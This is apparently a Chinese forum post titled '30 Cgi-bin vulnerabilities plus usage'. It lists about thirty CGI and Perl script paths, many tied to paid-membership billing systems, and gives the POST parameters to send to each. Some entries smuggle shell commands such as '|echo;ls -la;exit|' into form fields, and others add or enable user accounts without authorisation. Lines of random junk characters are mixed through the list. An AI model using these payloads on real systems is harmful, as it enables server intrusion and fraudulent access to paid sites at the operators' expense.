Cgi-bin 30个漏洞＋使用方法

admin

==============================
4 u% D. ^2 r! X5 |' E' t
/ y5 \1 T+ B$ J5 [2 j/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command
% {4 {5 x9 x7 Y4 |: [% ]
/passmaster.cgi
Action=Add&Username=Username&Password=Password
, X) j+ X& Z2 E- N5 V; E/ P
7 i0 J" w+ C7 b5 T+ ^' z- k/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
/ M( C* k# X8 u( r' Vname=xxxx&email=email&subject=xxxx&response=|echo;ls|
# y% K9 X0 x& G; K1 I+ d
+ K  o3 [9 |( O/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
; C* Q9 H3 P2 A; e& Zuser=username&pass=Password&confirm=Password
$ q) z  |" u' d8 s! C
3 e5 u3 T9 \0 x/ E* P9 _5 v/ccbill-local.asp
post_values=username:password

( d' v$ D8 T5 S* e8 {/count.cgi
/ ?+ e4 o" J4 R* ?+ c7 ~pinfile=|echo;ls -la;exit|

9 N- F; H3 z+ R( ]% S  E' N/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
9 ^9 r6 S/ A3 p4 Z$ q
& |) b6 @2 {4 Y& a& w$ P/af.cgi
_browser_out=|echo;ls -la;exit;|
  U$ \' R! n) x7 r$ Y- N
/modify.cgi
username=username&password=password&expire=30

/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
7 n0 j4 ?) v5 f
1 f7 N/ ]* P( G  v/gx9passwd.cgi
; W& l2 h* s1 a2 n# icmd=ADD&user=username&pass=password
/ a3 M  z2 }$ W6 X: S0 ]
8 w) s4 i$ k# R9 j/probecontrol.cgi
command=enable&username=username&password=password
! s" }1 F1 D( U! w* ?
: J% P# {  ?4 P/recon.cgi
- _$ n* g% `* J/ C' m- K& k4 csearchoption=3&searchfor=echo;ls -la;exit
7 A8 U2 {' W! K, Q4 g. s
2 q; W* A8 F( U/htadd.pl
configfile=|echo; ls -alt; exit

% ], t7 U: j0 \# I  A/gx9passwd.cgi
+ j) e  ~& p  l7 U0 Mcmd=ADD&user=username&pass=password

9 [  q7 B/ I2 o( H* m& x* I1 ?) U8 L/ibill*.pl
) V5 {3 E- a8 p) ~; a0 Treqtype=add&authpwd=authpwd&username=username&password=password
6 d1 ?5 F" G5 x, D
4 }/ |, G, |: u' A2 o/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
7 h# t0 l4 @- l+ l4 hdo=add&username=username&password=password&wpassword=password
3 P1 e5 v3 L2 p
9 `% Y3 u0 j6 ~$ {! @6 q/usercontrol.cgi
: l! D4 p# ~3 P7 s) G0 X7 [. K+ e, Icommand=enable&username=USER&password=PASS
5 _& R8 z5 G# P0 h
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

, F: F* L% u; k6 q/addusr.pl
user=USER&pass=PASS&confirm=PASS
1 _- _" v! I" A+ B: B6 ~
1 b+ D) C: Q0 `8 F0 G& P9 \& Z/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
! w2 ?9 p# I- C1 t/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
# U  C, y; }$ O+ U, o! d8 }
/af.cgi
/env.cgi
5 Q) ]0 [6 u# M  uADD+;echo;pwd;exit
* W& T  q6 d5 _4 Y8 e
/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
2 O' P' p% P" i( k; O- Z6 ksearchoption=1&searchfor=|echo;ls%20-al;exit|
. M* P3 q! x' X
/add.cgi
username=username&password=password&expire=30

; e% k- o6 {2 w: c, o==============================